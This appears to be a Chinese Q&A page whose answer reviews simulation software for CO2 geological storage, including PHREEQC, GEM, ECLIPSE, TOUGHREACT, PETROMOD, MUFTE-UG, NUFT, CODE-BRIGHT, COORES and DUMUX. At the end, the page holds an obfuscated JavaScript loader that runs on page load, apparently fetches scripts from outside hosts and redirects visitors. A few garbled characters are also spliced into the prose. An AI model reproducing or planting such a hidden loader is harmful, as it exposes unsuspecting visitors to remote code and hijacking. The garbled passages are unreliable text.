主要数值模拟软件

2024-12-12 10:42:28
推荐回答(1个)
回答1:

近年来,计算机模拟技术在许多研究领域得到了广泛的应用,开发出了许多优秀的模拟软件和程序此念并。同样,可用于研究CO2地质储存的数值模拟软件也很多,主要有PHREEQC、GEM、ECLIPSE、TOUGHREACT、PETROMOD、MUFTE-UG和NUFT等。这些软件有各自的特点和适用性。因此在进行数值模拟之前,需对这些数值模拟软件进行评价分析,选择适用于所要研究解决问题的模拟软件。现对目前国际上常用的几款软件简介如下。

(一)PHREEQC

PHREEQC是一款用于计算多种低温水文地球化学反应的计算机软件(Scott and David,2011)。以离子缔合水模型为基础.PHREEQC能够完成以下任务:

1)计算物质形成种类与矿物的溶解饱和指数;

2)模拟地球化学反演过程;

3)计算序批式反应与一维运移反应。

另外,与多组分溶质-运移模型耦合的PHREEQC可生成PHAST,是一个用于模拟地下水流系统的三维反应-运移模拟器。但由于PHREEQC是在单相水流的基础上建立的模型,因而不能模拟超临界CO2水的两相流体运动。PHREEQC最简单的应用就是计算溶液中各种化学物质的分布,以及溶液中矿物与气体的饱和状态。反演模拟功能可推导和量化在流动过程中,能够反映化学物质变化的化学反应方程。

(二)GEM

GEM v.2009.13 是一款用来模拟利用CO2和酸性气体提高石油采收率的模拟器,该模拟器完全耦合了地球化学组成状态方程(Nghiem et al.,2004)。GEM 采用一步求解法进行状态方程的求解,缺点是计算工作量大。GEM 可以用来模拟对流和弥散流体、油(或超临界CO2),气和咸水间的平衡、水相物种间的化学平衡,以及矿物的动态溶解和沉淀。该模拟器采用自适应的隐式离散技术,可用1D、2D或者3D模型来模拟孔隙介质中溶质的运移。油相和气相用一个状态方程来模拟,气体在水相的溶解度采用亨利定律模型来计算。水通过蒸发进入到气相、盖层的穿透,热效应和裂隙的封闭作用也可以利用GEM来模拟。

(三)ECLIPSE

ECLIPSE是一个并行化的可以模拟黑油、组分、热采等问题的成熟软件(Schlumberger,2008)。1994年,胜利石油管理局引进了ECLIPSE油藏数值模拟串行软件,广泛开展了从油藏到气藏,从常用油田到特殊油气田、从常规模拟研究到特殊模拟研究等多方面的应用。主要模块有主模型、黑油、组分、热采、流线法、运行平台和ECLIPSEOffice等。

ECLIPSE是一个商业软件,在使用中其内核部分是封闭的,使用者只能将其作为一个“黑箱”来操作。其不足之处有:不可能免费获得和随意使用、修改;无法耦合最前沿的地质流体热力学模型;无法加入更多影响因素来研究具体问题。因此,ECLIPSE不适宜用于科高粗学研究。

(四)TOUGH2/TOUGHREACT

TOUGH2是Transport of Unsaturated Groundwater and Hea(t 非饱和地下水流及热流传输)的英文缩写,是一个模拟一维、二维和三维孔隙或裂隙介质中,多相流、多组分及非等温的水流及热量运移的数值模拟程序(Pruesset al.,1999)。TOUGH2使用积分有限差(Integral Finite Differences,IFD)(图9-1)的方法来解决多相流动和多组分化学运移模拟中的空间离散化问题。为了满足大规模计算需要, Zhang等(2008)开发了TOUGH2的平行计算版本,即TOUGH2-MP。

图9-1 积分有限差分法中的空间离散化和几何参数数据

许天森迹福等在TOUGH2的框架基础之上,增加了多组分溶质运移和地球化学反应的模拟功能,形成了一套校为完善的可变饱和地质介质中非等温多相流体反应地球化学运移模拟软件 TOUGHRE ACT(Xu et al.,2004)。除了包含TOUGH2的所有功能外,TOUGHREACT还可以应用于一系列的反应性流体和地球化学迁移问题。例如:伴随Kd线性吸附和放射性衰变的污染物迁移问题;在周围环境条件下,自然界中地下水的化学演变;核废料处置场地评估;深部岩层的沉积成岩作用;CO2地质储存:多相流体运动,多组分反应地球化学,各种封存形式封存量以及随时间空间变化;矿物沉积(如表生铜矿富集);自然和补给环境下热水系统中的矿物变化。

(五)PETROMOD

由德国IES(Integrated Exploration System)公司研究开发的PETROMOD多组分、多相态的多维含油气系统模拟软件综合平台已被世界石油业所公认(IES,1995)。该软件融入了断层活动性、盐丘上涌和刺穿、火山岩的侵入、气体扩散效应,油气水三相运移和油气吸附模型等相关技术。

该模拟软件平台推出和采用的油气运移组合模拟算法(Hybird)是当今最先进的油气运移模拟算法,既可以保证模拟的精度,又可以极大地提高模拟的运算速度。其中的PETROFLOW3D用于油气运移、聚集、圈闭和散失等情况的模拟,同时PETROCHARGE EXPRESS为我们提供了基于图件的油气运移和圈闭模拟的快速分析工具。

(六)MUFTE-UG

MUFTE-UG是MUFTE和UG.MUFTE的结合。MUFTE即多相流(Multiphase Flow)、运移(Transport)和能量(Energy)模型(Class et al.,2002; Helmig,1997)。该软件包主要包括物理模型概念和孔隙裂隙介质中等温和非等温多相多组分流动和运移过程的离散方法。它能对裂隙孔隙介质进行离散性描述。UG是非结构性网格(Unstructured Grid)的缩写,它提供的数据结构能快速解算以平行、自适应多网格法为基础的离散型偏微分方程。具有模块化结构的MUFTE UG很容易解决各种有特殊要求的问题。

模块化结构的MUFTE-UG具有许多不同的环境与技术应用。例如,在环境应用领域,MUFTE-UG能够模拟如下两个问题。

1)NAPL(非液相流体)向饱和与非饱和土壤的渗流。优化改进的修复技术在MUFTE中具有广泛的研究和发展空间。

2)CO2地下运移。CO2以高温高压灌注地表以下几千米的地层中,MUFTE-UG可用于非均质含水层(对流和弥散运移)中羽状体演化评价,伴随温度效应(由于膨胀和压缩)和组分间相互溶解(卤水和CO2)。

(七)NUFT

NUFT(Nonisothermal Unsaturated-Saturated Flow and Transport model)是一套用来解决在多孔介质中多相、多组分非等温流动和溶质运移过程中地下污染物运移的数值解法器(Nitao,1998)。此软件利用简单的代码来利用通用的实用程序和输入文件的格式。最近,此代码在Unix和DOS系统下运行成功。

该程序利用一套完整的有限差分空间离散法求解平衡方程组。每一个时间步长内利用Newton-Raphson方法求解非线性方程组,而在每一步迭代过程中利用直接解法和预共轭梯度法求解线性方程组。该模型可以解决一、二和三维水流及溶质运移问题。将来该模型会耦合进毛细滞后、非正交网格离散、有限单元剖分和固体非线性等温吸附等功能。

(八)CODE-BRIGHT

CODE-BRIGHT是一个有限元程序,用来处理地质介质中的热-水力学(THM)的耦合问题(Olivella et al.,1996)。可以计算普通状况下的5个主要控制方程(压力平衡、水质量平衡、气体质量平衡、能量平衡和少量的化学平衡)的初始边界值问题,在一定条件下,也能计算局部区域的平衡方程。空间离散采用有限元法,时间离散采用隐式有限差分方法。采用Newton-Raphson迭代求解非线性问题。

CODE-BRIGHT能够模拟气体对水的趋替及气体的溶解过程、各组分和能量的对流及非对流通量、还有水相态的变化。用户可以自由选择稀疏矩阵存储器和直接、迭代求解方法。并行程序已经可以使用。为了便于用户处理大量的信息.CODE-BRIGHT使用Gi D系统做前、后处理工作。

(九)COORES

CO2储层环境模拟器(COORES)是由IFP编写的研究CO2从井到盆地尺度储存过程的程序代码(Le Gallo et al.,2006)。它由美国应用数学部开发,是指定的并经过油藏工程、地球化学及热力学等部门验证的程序。

该程序在剖分过程中允许用户根据需要灵活地改变网格大小、形状和样式来精确地刻画储层特征,从而将必须的网格数量降到最少。使用结构化或非结构化的网格,COORES能够模拟非均质孔隙介质中的多组分、3相及3D的水流过程。通过Newton方法将完全耦合的摩尔守恒方程线性化。考虑到矿物学的变化,运移模型还耦合了一种地球化学反应模拟器Arxim。通过假设不同的孔隙度-渗透率和孔隙度-毛细压力定律,如Kozeny-Carman、Labrid或Fair-Hatch定律,修正了孔隙度变化产生的渗透率、毛细压力改变。

(十)DUMUX

DUMUX是模拟孔隙介质中多尺度、多物理作用的水流和运移过程的程序(Bastian et al.,2008)。它由德国斯图加特大学开发,基于分散或统一的数值环境(DUNE),用C++语言编写。Du NE采用一个共同的接口,允许不同的实现共用相同的概念(例如网格、解算器),提高资源利用率。该框架包括许多可以单独下载的模块。DUMUX是一个额外的模块,它继承了其他模块的功能,主要是为了方便和有效的实现模型在孔隙介质水流问题(从问题的提出、空间和时间离散方案的选择和非线性方程解法,到模型的耦合)的应用。DUMUX有即用的数值模型和实例应用。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();